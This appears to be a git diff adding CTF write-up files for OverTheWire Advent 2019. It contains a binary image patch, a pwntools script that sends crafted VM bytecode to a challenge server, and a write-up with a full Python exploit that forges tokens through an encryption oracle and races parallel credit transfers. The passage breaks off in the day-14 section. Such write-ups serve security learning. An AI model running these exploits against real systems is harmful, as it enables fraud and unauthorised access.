zDB}oE4=8$v;2({CZh+7-I~RH6+Kr*2y;PspIxuC?`6TVsUxxKm`y$v-tde`#!xt_3 zlKl-!PIEm6XJNhLS)0HSSSVj2$FB)U#m(t+=+u)mlfX#f3s}0hj_e9KTbU5c_>Wok zs1f;?Pc$B=hfciW)see?h3C)n%Xl!-d*nUd7g|H3b3cj1>mG|dA6j)#BM45;#4mzn zjSq({zGp6XsfdVaQcY-F1E8n|1j|diC#AXS=+kr_c%4{mA;2aarA)TYH=ejz^F3-_->L| zMAd0kvUlYy(+Eb|dW5l9*b6VbRnW5cGON4d7$*4%%ciyuF};r3luMa9KZ6O}Z_R9-6`Xrm~$DXjbpa z;|C1-=D5k4-JT7Cabq?`gUIQhqA4sAo}WYo#q3x6zxtyo@#|ALQwf4WLkf8u;nmhc ztn>=ptaR#}J)SK9w^l~ya1XIu^6qU30Y%pu-s4<*IR&z=#a}hsU`%fMltOQff|&P+ zdmj{wswY6)tqdc%Hw##l>iWb9lXb&jOyjcnXZ5XL{FP5g;Y5@U)FSG|?T@&`$r!BJ zdY)s;2@XpLHk6P{W}s^zpp7w8eU>y=T%J%Iz=JR?P*HtDm?vs0nE+67V}97P@4%cR zrknC_c*s`5Xn{?9UyHVu8eZ4MyhslY=mv4KsT|<;YC}o_dEEH)8li4oXtEG)oVPPV z*5djgcZ-CMI^1Os3)ASi%qYM%Aj$A0%k&kvFAG4!7b3B)wmBY@`5+H+hS>WmoN@QJ zPTaj3u+vPAMdq`5Wvk^A_WDSt`7T5c-3NlyS~ch4)*{tN%!D(8N7pZkawKxT-f4zm zC*Y|(M!ZmQluNh}az+gX*TyuFC0*79!_#wo9~NGm>uSpvxGPbScAu`KzVszlDwr9H zL)A3Gu}U?*W-D=L!HUgHL?+@08lb21l^A?lJL;rP?9)Ib$^ zAk7MIq0`1v4H5bYYxG7l)Amx6q~Vl-!PmU}t_s{Ag|@m?3ta6d!+aqTlHxA}ZYp6T1f{er#J(Xl4g)<7sVL!Or@ z`Y;~;7SkAI>A{R*n{*mUFyN9X+se?(!_~z%Q3>u(atj}~)MeuoPgvKtcf@@EiD-2B zafFeaCO_calM-(86?UW>nbltb67R+c-A`5CMS{3(Ulj}@GqyHRbL8*YQ+XM0Y{X5K$t*fxVX2K6SixXtQWfZIIz;5O$cbJ6+0^?8O=i?h9Bbk*K?2J^?N-MjoD5$ z)(7hHm@7Y~6K}sF&tlcocCQ^*pEutzF9mc2iuE#|?6X{2OSn;eak5|b;_C9l3-oR= zi9-)ch0tazxXXB8Qs?8-n!tgWtnkAOUrNmjT05t-dTWko9Ve9P59=Ajg2MQGwS_1I zEY%mrZJ|qC$EE%&8_`T)+AjuPVV%M7&wHTz4hZaz^azpk{OrVG?_E4#Lsmlt3jkLl z)W=m=Y;D-~b)kw}v2T{2bE5mQ00pvr_UcB=0Vp5Ub9$oe^#$wmMA%_@;I_vi`#88OwnS` zJ79{e^|qTMEyUE0u7XDm{$Jonj*_VRMacO)6}^WCttA1w5@6U4DFTn2T_zFb4 zq);_2ajZ26O9EVF zejB%QH_4|^zeHL5UO{#>p5Ft$dvP8Ki2-}4MJ>E~y>M=?$9awgLx zQ8GH=KQWBI3=Nten3oPCKagKtOd!-4Ph1Vla_zV53pgg;i)TFEoaH<5B@5QJEp~Yt zB})aWC=c-~q$p97Ed*d?+>z1+V#P*JEV`gxLBf0+^Y*PP>Ez5$>p3;hkn@M*)Ws3q zd_CekuDy+QXl5W4yqIkpxvoEp@>?c&cZz{B+D}Gv{ZKsH+(rZ^vwon|kK==3Gs<_* zdVCRL$&t2#ofGOst^|++>Qv~}kCpXaxpl0#5@99j`wFI%E3xc`;@TbT z&#E;$3qeLnr9_1YK|{8=t8-8X^VzAe_)t{jOD+t=}(5Z}(MzR8z>6x8t_-+4s0x9J^3a zsi$rnnnInf+t~g7T!UGivyp3=qzzQN@*>7N zpu!Ndc_94YCfAzI3zHweC^q1oQc)fH zY>;(+@$Al1oz9he6U#@mLN1?+bSL446$pY|yRz}CrI4F6-bVy4ITj$xETQ}$(H@(c zWU-c&i`O5WSH`VTTS)tExt)2W0hGxn{UBQH^5~Tl+S~FG+lbn8mu{OU?47SfHb*bF zyeCGR(Q@ri?4H0*ST%()vK1u~cXhJOUO-INCOZ7*C%TmJFM0Tcp}BAoKl{(H&&4p> ziZuLzm@zY1O%1b4F|{7&WHz1Obv#@4#%$uCObsHmUPKcU5P3QOtaN?vL|Qx+a7 zRJM@!7D767|Mf4bJ{1Mo7l;KP&;Hcd2OkzOYz4uQi9y&s&e2gjqHez4<2uSdr&>o5s^(&Hj}_$vyW8~B?FsAe(J4Dvlz zoL_rn)N%MjK!@U&QO0C@xZy>odH$;~Jg=hZfIn}XdhEg|r+q8;x0f)`IH&N*Tt;S5offm&kROU{Dc?bsocpoun3b)0A z&t)!4Y)(;qNlgvEM4%k-1hNEb$)?S(O4`6(lQ~KW)Mo$OfkQ4Co5Qm8Ee4b@C+>i{ zyK6QF=)%h09Jz0q@_y zkE)gy2qrG|*!8slcx^#8_wI4?#BiVk-%k=X(?R?2v#pyDa!IfKFNnJly2bVM_HGLW zVyv#N`i4pa6ZHRyyc=S@q5wG3lvenD&1Jh~s7vqW>VOhev=wEa~jJ{@i-6V=Jp zzN~|{yVc|8w9bir4n%`>vR-wxAIvcMa*iYxJr5ms>OlSVlD%`n5itI|3cI>yD*r5 z6!#L3Y640HHSauP262ZrytVNn=_R>Q16Clmq&$d+%o?aw;A2z)ZJ443j_&`jyuQ0- z8#h0A{U=h8gM<(KTQ~0`a1I`oM<2P4`_C9w;O>&o9*NNTL*EYXK&@KFG3)0s`u7xAM#9%7>r*k zd(3#gqkq=T00u0-DRPKZO-;>zdx*5Lky(V10-UTSCqsHtf1}^NK z%I>(Sud={#@&vkep31@Hm3O<6jK_Euw&aKBBofVf5$bqub+}6PZG(whE!xlp&ty;n zAmAo1_^aPfaj7NR05vq2Y<8oO2=J(1@C}k6;CP#=rz8wc4o`yScMMM$yC$Mhi449E z7P5*UMD}R=-E+pLU~I<4@-DLg>ORWZK-|r48BJ!;Haby6tKq==t9b< z7e~epC%`sMC1)L?h=VKYwe+_}g_Y&|CJ{?$OcFyz0CaP{inm6+b~Y zKn|Y+zGNV~N|{T7lwlK0SbapCI7|+5$LnQUye=4kaV$Gn6RL2Ar%qz2RLhPRBsD+4 zh#JHE+v(W(J6?c$|0$8k_{@s`aKxxSh+K?_;tFovXGAV3>C65*af(0Ko;hr{k(Y9( zB2`MabXwkzYKlfaw2mCU118F?4}YZ++u%U#?;aLLck=I7em=n$1*BjZ=*52Nr*(^g z%`U{iel$J8A74@-Oq4Sry?^tF9mZx7=YKgJ*R=<=U`>ec;k z^EJKzIs9wZ+#`jp@x0*wzH+ui3JbH;c3Ag95fgG0THi&V%~QENQeSxv$D3fRxnEgOi2;0myw=Mdr1UzV4r?{h@Ll^ z;OXTR4nRkmTQp$234Qbb&v5MBUE4bheD^Fm0ENT{3O7c0Bm%u+b`T^Ym#dg5)ZC8$ zZ^}9TyMeuba*cGzYhY9XM{9ThhSJ|vm_$9(#7UC8K(i0MS{hkpy2Isk+t4_l3*Jnr z;8;LhTENU-Fl+)){_NQ^}m!=qEt3Ka#Gu@HDfe;G2HRcR=T^2ejx5@%^`S zM>Yk_zr6|^-MuqeISVB}e*8FC!@85M1Q>-Zn7uPIie_=tl3<^|>+#RxU()|?sJa*D zfa-%s{A2aF{{yrC6XpN!-;iVS67}m(kqd#}v#Vu0$nX%oe|N;I62P)Jbr?6D*K}Iq zGWJJzEfBe}0~OJX?G;1Bp&!W<6U@SMomY&XXt>!wT-^osx(F#JW8dWh4`HH(0NJjb zjHxT`ek)Q={?{2no{~x$;LX_3Jbf3OI%52j%tJ1jv0*maIjzd%ax#au(>+<&Qm_3-W8)J*&QKJLEcPsvgZ5}*Nox8Ey zCfh$uQYpR^#yE|a@u{_1cHuh`PE-n6@U5D}9REYCl&p!6RL;U=%Flmy|AYEPvlS*T zsEM#a0RhFUy`SesVB!IEx=2C>s_Dq2#s*fZ#>j|IKmisRPBV7(ihQ9^WG70@uh}J^ zbtNWh)Fp7s@7_Sk`8?udR8kD4TQfFJ3huS{+m3JRf3l+-8gW0E5``fj1I3deNl@SI zu`*8yE&y||_dNIuh)?$W%h4$~J=FL>`UF$d@w8jM9ROt0Y?fP1=vU6N8wgu|%3txH ztholNW&fm+X=hzM0wRzJ!z-0{smOpjit7@z>Awz7ryHFr+Yi{BxW*qdqCJ^6>x!xd zY9qbmlI08+EC4>36nARrp#Vctx{Q-GnscYd!K|xRozYs&Hn3BLPK^(2$LvwbA2;9V zhKiI|-YKQ67YyZqz0 z5#^rx%fk`bUJsK`#v_k6NgpQNjCP0k$P$B>tAdj_F?g}6Bi50dhDv| zVa69G2&66Z7uKh9Z~|LI2e7q=u>rF{E%f={k>vm*gT$EQ4O{{nJ&1}8qUZIa?yGpo znV2bsz;Lxw?)P&s%*=!rpOfO88F0Cw-hWNL?jI5)`WjZ6iVz#wikP*HC}nwAEOoy7 zl(HUy49aFc;BxT=w9)E-roA?CoV%@kiOW7IU84F1|0Ii#N! zV`Cfw5(b-49jHBJEWT<&7JCg`=l$`Ai|We&^-*;~J;^0eu(GG_Emrk<6Eg|qE+a_y zvFX+TFNeq>?lF)Mw!M6(_8CaK;fa|&y#jcLIg%)W`oiqd6AaL>UKV1zbQZa(t)T*x zuEci#Ht%o*!+-2jfGSipjk4TPb9W?l16S{*{^dVThPJy&{S@+(-TangryRMbTRW|(F5}r$uJ*evVSxb|h9AgLAq~>(LdM)y+<;-(1VFpPovTU_aIfGfFS64YhC?(I0 z+Y0rBf$f2DCEOzLIaN7rviOOs#j73+-+&1p^Np&xEe@6W(`J;noe;DbtCXqGGrej` z>5rX?1#dS=f+{k7QILLgKimuZp2V5dwj&ulFUzC0r(b7n`<5R*^|n@a9kLRpmhCf7 zZ}8xul}~ngSXXbESC5`{2^9b9kmmr(GZR*)7rYWy(zcsS%ZhJVej1JUj!{_^Z${>E z?WgIjcf31~tS)R~LI(OtffDm+-}LgYbT%opjS^N=k}z-M;nUGk(!7nSvn7eE-6tr?#nh&kN7 zM|s$)ancZ{3(LQOY_)&Ii}v@}{bY0vE%pwsMIj1Khr&$v0KO*FiC?-4 z4?_%;uLe}1^H$U}F!par;Mj*J?#gl$PK4dDHFVnb8vt7)0X3~#*MqDkm2g&gdFDm~ zHYzChjj*-I&hvA`isJV z>ywcI#PXg0f$RX73(w#Dk!#u3+S>i;3IK{FSMNvwAiRI~jvzfFW8OzR?`{t4J~T?{xo%+bG1n4fmJ2z`eWr$BXOBU^rfvUM{@7!hVnI>n5Aa z2n?|tg4^0|A$j#UQ5p;a?#hPSRY9V*}GjjM}K6zIhOOjcB#_OI56Axqmyn zo3eWbaChkO0ry{-t@cpdP23A=YWEKflIG?CJfzRp>(f6zt6Nk1-F=h&wms^ApS01i ziE$?&(`PAUe}ukTKtXxeLB{{w4get@)Q5&VPz%1LtcqTg`HjMq5W2k@XP3A+J`1S7 zYL>d8ZVfslPqw>pqw_~KG;r(la34ajp`k?Ko5Z0FSfSL7%b9% zx#c?OPWW(nzU!?}c8dS6gQthXrME)2D@;;-5)o(V$4AdEL_^MY+1D)KJ-{~t587$I zb&J1Q42@gg_~rfzDjj@G*?OLbN*(whef|9En@i}iJ@+A^H8=qoT@ZW@3^3#bjXx^{ zeSMj~tF`W%`tb8_L|L~7WFaRTBbeD%;EpLr#t!hC5uZZg0w zm7Aag)zZ^?1?xBcKmi{d7&@|O;dYQ0_&l{!B@d*DrUzM{02wQ(4y*&UKz zpK#ZEbJp6US+?8REZZLkg$CSJ9xsERqiynEZH}{F?cpxcolf&#?Hq_oi3LH2AN5{w ze#~m^vA2*Un7!B$=U4-T9vWi7Q_w1ce;Yd4(n@2p@6K_JE_Hq*m>FUwv7nQChTW2d zT=WizDy#_U>ax#YBpdpsaPu1w$#4Fa%jx>_b($Z5oHOUIt`%e64nY3I1)ihW@rgR$ zIx#EEmxU7sLd@+%-bd3vO1&N4*TAo$wDYPsY#uy2ADU+82sOW;Y845DULB_dTx=1A zyqgF$w?m(28SZHk{k*0T7ARDNf>OHx5j|MOW<2R2bGQVBmw_a4DHd;l3p;yAp zxypTRVtl_^p0(7`Wy0v5Uox9pdP6z5$be63J z{q2g<)y1eg8v{5iBw;aQ({b?KMykjweJf)$i>nw3^SGjAU`#08eQ-!OtMw8-Z8F9DD{4xAlYV3Jbd1UGJ-%>z$M#r`@=QH^YE_v(w%N zQ-?Y$T&ZtP`b*(Enp6bRoV+MH&tTPXy5gigy&ZS{SH;1(Mchd!)2k~BgY3a@iX?F2nqx*+@&&E&BoS>P&3lSh47-bRip%-(prGvkvC+m5ub!5UE8yCOb z2r@~$S3_7tPF0jU=j`d@1Vzrz_(SZeA8}hd-G8VTYm8G;qhW5vA!}@T<^R_D>!`xt@p_$)hd$Ch`T?xq z^@+2@wYQ^2=FzmbjRjGPa8;}u9GGK1K3wx#_hA2Hn_<+t9*Rk0Z~&I>jAA3E4t!JR z#C+K4ewemVad@6?RJ<<{5|0a9wrLgj=j&;1DBOMS(9~oDc(q5PE&jrBd_lquRj6VO0Hk^CzhTj#?G~Y^{lAFJaJ`N$ zS&|ZQv^*rN03h$0>Tkf<<9eTOcDB+2?!e#dL-Jzi?|<#TLeT*KuWj(xAsWXxLxxgAr$>e?dX?( z)SWjPX-Z{rwSSKFH56koQu>;5C<_E{y_gPTT8 zVKB`t)xoULQfrS0ddl6y*2<68=_|+4B#>xQzk}W(E)4;Yrg>e~dT-<~ZBhGfhY_&dzV|wbL^zBh|2{{ssK0C_YyxmwOrhzW_YNQBME> literal 0 HcmV?d00001 diff --git a/writeups/superwayne/otw2019/runes.png b/writeups/superwayne/otw2019/runes.png new file mode 100644 index 0000000000000000000000000000000000000000..acad80de4657e33a2dbcde792a26dd6425178682 GIT binary patch literal 769 zcmV+c1OEJpP)Wk&Y(moAfZ| zdGGz-d++-`DgpJD`*D#pz)|M*KyaRS3fX`IWkQO>9tY}ZEIUb%A`xM8S5QX;m)HfU z0|^_@saiL_94sYu3W2-=F7daZ0t%(BpFS4ozoHRP>;fu92?JweVx4%ebKBI}fDTJnXmbRE(eF_m*9qVh zRBI&sukVJS29OzKIKchmY3R4gq~w=mdesg|g|#}I=jlA_0#ox@LO0&1oh2#bbrgrH zyQsLC*N-Ta0^^0f9OLv6osdSU{vAZ+_ZkiPJxpIP&hG#tO)_=p;lqBWN}>&23P1CkX`1Pni097e5mGJmkzGI56Bl(0V!{Fzvt-v&@etJP3<%yk|$A zsxpojYM$niZ&yQOsiPe0HGP3li#iImkYYKE7LB@5`Y0BqiEN$!TU4_g7>?PX z0ffYjUgckFgJ^z6GhcY9P zXOjSZU|P@vb2|fcCrH@aj4~2ba5FI<12Sx3S_0pRNwy%1AmejR`o*ma!ldQ_<4=@E z%Ln_7!nOU@3*elvFHZ8nB=fARBcbqO=d&wasB5u*ET93>3vO=NN)KaAndzA!RbtcD z1_g2poO|;!j7#jo@W!HiA|H4buo9KSTQnFj&5T4st~j-CKbci_)1a@$3ie8A?q=ps zJDsHNa7mqO$7TaWKJQ8n0=;{soPqu0-Awrh2a*NQw<~Pq00000NkvXXu0mjf6dqi$ literal 0 HcmV?d00001 diff --git a/writeups/superwayne/otw2019/vm-chal.py b/writeups/superwayne/otw2019/vm-chal.py new file mode 100644 index 0000000..9d02ee2 --- /dev/null +++ b/writeups/superwayne/otw2019/vm-chal.py @@ -0,0 +1,184 @@ +import binascii +import re + +from pwn import * + +context.log_level = "debug" + +instructions_before = """ +#### create literal as a function + +21 # 0x80 ^ 0xa1 +80 # 0xa1 is on->data +""" + +instructions_to_encode = """ +89 +""" + +#00 # end instructions # bottom of the stack + +instructions_after = """ +01 # index of function +a0 # upon detection of a0, the index is popped as well (= 0x01), everything is copied into the function stack until 0xa1 is reached on ->data, then ->data is empty + +#### print 0x21, 0x80 + +21 +b0 # print 0x21 + +# avoid 00 by encoding it as 0x11 0x11 and XORing it +11 # 0x11 is on ->data +11 # 0x11 0x11 is on ->data +84 # 0x00 is on ->data +80 # 0x80 is on ->data +b0 # print 0x80 + +# copy literal from function stack to ->data (i.e. call the function) +# literal must end with 0x00 for the print ping pong + +#### print the encoded instructions with a print ping pong + +c1 # the whole literal function is pushed to ->code; if the function only contains instructions < 0x80, they will be copied to ->data + +# ping + +21 +80 # 0xa1 is on ->data (end of function) + +63 +80 # 0xe3 is on ->data (call function 3) + +30 +80 # 0xb0 is on ->data (print) + +11 +80 # 0x91 is on ->data (duplicate) + +02 +a0 # create function (i.e. print and call 0xe3; if 0x00 was popped [which was duplicated], function is not called) + +# pong + +21 +80 # 0xa1 is on ->data (end of function) + +62 +80 # 0xe2 is on ->data (call function 2) + +30 +80 # 0xb0 is on ->data (print) + +11 +80 # 0x91 is on ->data (duplicate) + +03 +a0 # create function (i.e. print and call 0xe2; if 0x00 was popped [which was duplicated], function is not called) + +# print encoded instructions + +c2 # call the print function (prints everything until and including 0x00 in vm->data) + +#### decode the instructions and print them with a print ping pong + +c1 # the whole literal function is pushed to ->code; if the function only contains instructions < 0x80, they will be copied to ->data + +# ping + +21 +80 # 0xa1 is on ->data (end of function) + +65 +80 # 0xe5 is on ->data (call function 5) + +11 +80 # 0x91 is on ->data (duplicate) + +04 +a0 # create function (i.e. print and call 0xe5; if 0x00 was popped [which was duplicated], function is not called) + +# pong + +21 +80 # 0xa1 is on ->data (end of function) + +44 +80 # 0xc4 is on ->data (call function 4) + +30 +80 # 0xb0 is on ->data (print) + +04 +80 # 0x84 is on ->data + +01 +80 # 0x81 is on ->data + +04 +80 # 0x84 is on ->data + +05 +a0 # create function (i.e. print and call 0xe4; if 0x00 was popped [which was duplicated], function is not called) + +# decode and print instructions + +c4 +""" + +def assemble(instructions): + # print(instructions) + # remove comments + instructions = re.sub(r"#.*", "", instructions) + # remove whitespaces + instructions = re.sub(r"\s+", "", instructions) + # print(instructions) + return binascii.unhexlify(instructions) + + +def encode(bytecode): + result = bytearray() + + for b in bytecode: + if b == 0: + raise ValueError("0x00 is not supported!") + elif b < 0x80: + result.append(0x01) + result.append(0x10) + result.append(b) + else: + result.append(0x11) + result.append(0x11) + result.append(b ^ 0xff) + + result.append(0x00) # end of encoded sequence + + return bytes(result) + + +bytecode = ( + assemble(instructions_before) + + encode(assemble(instructions_after)) + #+ encode(assemble(instructions_to_encode)) + + assemble(instructions_after) +) +import binascii +print(binascii.hexlify(bytecode)) + +#vm = process("./vm-chal") +vm = remote('3.93.128.89', 1214) +vm.recvuntil("Length of") +vm.sendline(str(len(bytecode))) +vm.recvuntil("Enter your") +vm.write(bytecode) +vm.recvline() +vm.recvline() +vm.recvline() +vm.recvline() +vm.close() + +#with open("bytecode.bin", "wb") as f: +# f.write(bytecode) +# +#with open("input.bin", "wb") as f: +# f.write(p32(len(bytecode))) +# f.write(bytecode) diff --git a/writeups/superwayne/overthewire2019.md b/writeups/superwayne/overthewire2019.md new file mode 100644 index 0000000..04f25e1 --- /dev/null +++ b/writeups/superwayne/overthewire2019.md @@ -0,0 +1,1130 @@ +# OverTheWire Advent Bonanza 2019 + +## Retrospective + +All in all, the CTF was very pleasant for me because the challenges were interesting to solve, there was quite some time available as well (I spent about two weeks on and off on it) and I also managed to solve a few challenges as well. + +I spent about three days (24 hours) on the report. + +## day-12 naughty list + +### Meta + +* **Spent time:** 30 hours +* **Solved:** by w0y +* **Difficulty:** medium (+ guessing) + +### Description + +> Santa has been abusing his power and is union busting us elves. Any elves caught participating in union related activities have been put on a naughty list, if you can get me off the list I will give you a flag. + +The challenge features a simple web interface with three pages reachable from the homepage: Home, contact and login. Further, you can also register an account. The contact page is a dead end, however, and not relevant to the challenge. The main functionality is exposed after registering and logging in: Registered users can *transfer* credits to another user. After registration, a user has initially 1 credit, see the image below: + +![Naught List](otw2019/naughtylist.png) + +It is possible to transfer the credit to the given destination code. The destination code changes after a refresh. In the credit field, it says *1 / 5000*, i. e. 1 credit out of 5000. + +**Goal:** The goal is to have an account with 5000 credits to get the flag. + +### Solution + +#### Unsuccessful attempts + +In the beginning, it was not totally clear that we had to forge a destination code. Therefore we also tried to mess around with the page parameter to try out if file inclusion would be possible. We found out that requesting http://3.93.128.89:1212/a/ still shows the original site (but breaks the styling) and also used the oracle (described blow) to request `000000000000` and `\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00`. The idea was to be somehow decrypt the destination code by XORing it with the result of the encrypted 0 bytes, or something similar. In the end, however, these attempts were not fruitful. + +#### Forging destination codes + +To achieve the goal of 5000 credits we have to find out how to transfer credits to a user that we control. This turned out to be quite hard and involved some guesswork which made the challenge a bit annoying in my opinion. + +The destination code is *base64url*-encoded. Decoding a destination code, e. g. `6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K`, reveals that there is another base64 string inside: + +``` +$ echo 6GeVE89hSydXhCljZHIyTjEwQ3BlbnQra0xxOY9ceqtQiNEDWPds8K-fTD8 | sed -e 's/-/+/g' -e 's#_#/#g' -e 's/$/=/g' | base64 -d | hd +00000000 e8 67 95 13 cf 61 4b 27 57 84 29 63 64 72 32 4e |.g...aK'W.)cdr2N| +00000010 31 30 43 70 65 6e 74 2b 6b 4c 71 39 8f 5c 7a ab |10Cpent+kLq9.\z.| +00000020 50 88 d1 03 58 f7 6c f0 af 9f 4c 3f |P...X.l...L?| +0000002c +``` + +If we send a credit to the destination code, the response is: "Successfully transferred 1 credits to santa." It is therefore likely that the destination code contains the username in an encrypted (and signed?) way. + +Clicking around on the page quickly reveals that the URLs for accessing Contact, Account, Login contain a string that is similar to the destination code. The URL for account is, for example: http://3.93.128.89:1212/?page=HTv6mUVltvgRV3DHN2dSSVhaMlhwQT09-qpBqw01iH2-qnyuzEU7Ow Interestingly enough, the URL changes on every refresh but old URLs can still be accessed. Decoding the different strings shows that the base64 encoded payload inside of them correlates correlates with the lengths of "contact", "account", "login". + +This leads to the following theory: The decoded string contains IV (12 bytes), a base64 encoded ciphertext (where the plaintext is `contact`, `account` or `login` for the pages and something else for a destination code) and a signature (16 bytes). + +To transfer credits we now have to find out two things: + +1. How do we encrypt and sign data that we control? +2. What data do we need to encrypt and sign? + +Solving 1 was easy: If we access http://3.93.128.89:1212/?page=1 we are redirected to http://3.93.128.89:1212/?page=404&from_page=VFBTJgMHkLfWVJ3WVkE9PZAHUM8279yZcF5Xy8Nb71A. The `from_page` parameter contains our given `1` in an encrypted and signed form, i. e. we have discovered a way to encrypt and sign arbitrary data! + +Solving 2 was hard: The length of the ciphertext for the user "santa" is longer (12 bytes vs. 5 bytes) than the username "santa". Also, encrypting "a" and using the result as a destination code to transfer credits to the user "a" does not work. I tried `target=santa` and other variations, but was out of luck. At this point I already gave up and focused on other challenges. + +About a week later, @lavish appeared and was trying to solve the challenge as well. We speculated about different approaches how to solve the challenge. One idea was to use an SQL injection because of the "NO UNION" "hint" on the homepage. After some time, however, he found out how to forge the destination code and send credits to arbitrary users. He used the oracle to encrypt `lavish:ciaociao` and used the result as a destination code. The error message `That user does not exist in our system.` was different than `Invalid destination code.` which hinted that a part of the plaintext was indeed interpreted as a username. It quickly became clear that the plaintext is split on ":" and the second part is used as a destination username. + +With this knowledge, it is easy to send a credit to an arbitrary user: Use the oracle to encrypt and sign `target:` and use the result as a destination code to transfer the credit to an account that we control. + +There is just one problem left: We would need to do this 5000 times, but the website only allows to create 15 accounts per hour per IP address: `Sorry little elf, only 15 accounts per hour`. An easy solution would be to circumvent the check by using proxies but we can use a second vulnerability. + +#### Transferring more than one credit + +We quickly discovered that sending a credit always takes about 1 s which is far too long for a simple update/insert transaction in the database. We found out that sending a credit is vulnerable to a race condition, i. e. a double spending attack is possible by sending the request multiple times in parallel. This allows to transfer more credits than the user actually has but also that only one credit is deducted even if more than one is sent (i.e. credits are created). + +#### Final exploit + +The final exploit was crafted by @lavish and is here for reference: + +```python +import re +import random +import string +import requests + +import multiprocessing as mp + + +URL = 'http://3.93.128.89:1212/' +ALPHABET = string.ascii_lowercase + string.digits + + +def rand_str(length=12): + return ''.join(random.choice(ALPHABET) for _ in range(length)) + + +def get_token(user): + r = requests.get(f'{URL}?page=target:{user}') + token = re.findall('from_page=(.*)', r.url)[0] + + return token + + +def register(user, password): + s = requests.Session() + + r = s.get(URL) + page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login', r.text)[0] + + r = s.get(f'{URL}?page={page_login}') + page_register = re.findall('page=([a-zA-Z0-9_-]+?)">register', r.text)[0] + + r = s.post(f'{URL}?page={page_register}', data={ + 'username': user, + 'password': password, + 'confirm': password + }) + + return 'ou registered successfully' in r.text + + +def login(user, password): + s = requests.Session() + + r = s.get(URL) + page_login = re.findall('page=([a-zA-Z0-9_-]+?)">Login', r.text)[0] + + r = s.post(f'{URL}?page={page_login}', allow_redirects=True, data={ + 'username': user, + 'password': password, + }) + + page_submit = re.findall('action="/\?page=([a-zA-Z0-9_-]+?)">', r.text)[0] + + return s, page_submit + + +def send(args): + s, page_submit, token = args + + r = s.post(f'{URL}?page={page_submit}', data={ + 'credits': 500, + 'destination': token + }) + + return 'Successfully transferred' in r.text + + +def login_and_send(user, password, token): + s, page_submit = login(user, password) + pool = mp.Pool(processes=50) + pool.map(send, [(s, page_submit, token) for _ in range(50)]) + + +def fuckusanta(): + # reg users + # users = [] + # for _ in range(12): + # user, password = rand_str(), rand_str() + # if register(user, password): + # token = get_token(user) + # session, page_submit = login(user, password) + # print(f'[*] User created: {user}, {password}, {token}') + # users.append({ + # 'user': user, + # 'password': password, + # 'token': token, + # 'session': session, + # 'page_submit': page_submit + # }) + # else: + # print(f'[!] Unable to create user {user}') + + # main_token = users[0]['token'] + # for user in users: + # pool = mp.Pool(processes=100) + # pool.map(send, [(user['session'], user['page_submit'], main_token) for _ in range(100)]) + + h_users = [ + ('3oe7hyjnnvvk', 'cpkxykzrlpl2', 'R_OLjv1ZFXHvHJZtdEg1djB1Y2tKM3FzQUMybllFeVZaYkgyU3c9PZV3TUq1Udb-IWr_bC_DOFk'), + ('vjabtcku7mbl', 'l0fen6ufvlzw', '50kyihj0QWhbswaHTExlNVltUjZtSHFKTzhZYXdiOEZlSXFGRVE9PY_JKb4UGcM-zmoWMTi7xYU'), + ('7f2yro27d4xz', 'ko35w4ieiy3k', 'mw3672GIiASgwQRtSjA0VnVjdzc3WHkxOUpkeG5GT3UyNmtIQnc9PXG7xAbpQpNVVPWZzwv8h4c'), + ('z9mdjfitzxus', 'w7ruiprwgzyq', 'kG5I8tB0mtwJESMkQnVqNElKWGEvSlpsR3B4dEsyRXhBSDA0NXc9PSqV93MpDrkGVqPXWErAM-U'), + ('yfs8a88y1evf', 'u5bkpcoqbvp5', 'sx3gfohSs_PE76ldbHJnSlQ5ak9rMDFRaTA4YXVWU2x6QUpsN1E9PaIX54M-BA00_mwv5mWaKtw'), + ('8butphdud1gz', '325t6pqfcpvv', 'CNykSE2AZl7_xg_reHZUZmtLRDEybGhCQ1U4ZS84OEdGc2t2NEE9PQHJuWd1Df6EBjXgCkRrPVw'), + ('tlo866zq6ck6', 'otrhcwlzqotm', '6G--sFvqFKK3n942UTk5YzZkd0YzMTV5ZmpyOG5LbkF1R2tma3c9PbgEsP9B3guFIz4wi0YzkhM'), + ('3t9qa1t8wece', 'jalyggfus1zr', 'U0YMHL6LwoKTSsfLQmlyRk1lMWZqL2ZMMG51MnRteTFjcVRZSnc9PbMOFMwtpITcW0RhQMNfYiM'), + ('qm5ucffjdz1y', 'y8kmeetu36rj', 'hs5fQFFwg_BMyyWtL2dNZWtWeW9hdFk5N0FWZVg5QVVTamJrVWc9PY1blxGAo-tDxBdinhNrOuY'), + ('yuq10qdrt9u6', 'c63fdgw9gqds', 'yZJ5vAsKhUu5F3bJM1I4ZkJKZ2E3aDVnQzdmMjhuZi9TVWttOVE9PebmE1yJhtotk3uJc3Or27g'), + ('0emnmz2pc4li', 'rkobi4lpuqnu', 'Wm-4ytIhJz3fnELBVDF4VmExUEY1K2QyOVdBU2lMQ2tQOFoyeGc9PVZS_BI68wVQtbTObrNw3h0'), + ('aeda8cr3f3k8', 'nf3k260ioetc', 'lEhq6yvqVZmQaMagOHY4SDE1Q1lpWSsyUkI1b1ZzSUMvelFWTkE9Pa_cat7BX9yUF1a2WASeGqg') + ] + main_token = h_users[0][2] + src_user = h_users[1] + login_and_send(src_user[0], src_user[1], main_token) + + +if __name__ == '__main__': + fuckusanta() +``` + +This allowed us to collect the flag: `AOTW{S4n7A_c4nT_hAv3_3lF-cOnTroL_wi7H0uT_eLf-d1sCipl1N3}` + +## day-14 tiny runes + +### Meta + +* **Spent time:** 2 hours +* **Solved:** by myself +* **Difficulty:** easy + +### Description + +> One of Santa's Little Helpers received an unusual Christmas wish, a copy of the yet to be released Deus Hex game. All they managed to find were fragments from the dialogue system. Can you decode the last one? + +Given where the following files in an archive: + +``` +. +├── lines1.bin +├── lines1.png +├── lines1.txt +├── lines2.bin +├── lines2.png +├── lines2.txt +├── lines3.bin +├── lines3.png +├── lines3.txt +└── lines4.bin +``` + +**Goal:** The goal is to decode `lines4.bin` into `lines3.txt`. + +### Analysis + +The `*.bin` files all start with the following byte sequence: + +``` +00000000 54 69 4e 79 4d 65 54 61 00 00 00 10 00 00 00 02 |TiNyMeTa........| +``` + +This indicates some kind of magic (`TiNyMeTa`) but also a header with positions/length. The bin files contain an embedded PNG file starting from byte 89: + +``` +00000020 00 00 03 01 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d |.....PNG........| +``` + +This embedded image is the same in all files: + +![runes](otw2019/runes.png) + +Looking at the images (`lines1.png`, etc.), we can see that the image is used for rendering the text. What text to render is also part of the `.bin` file: + +``` 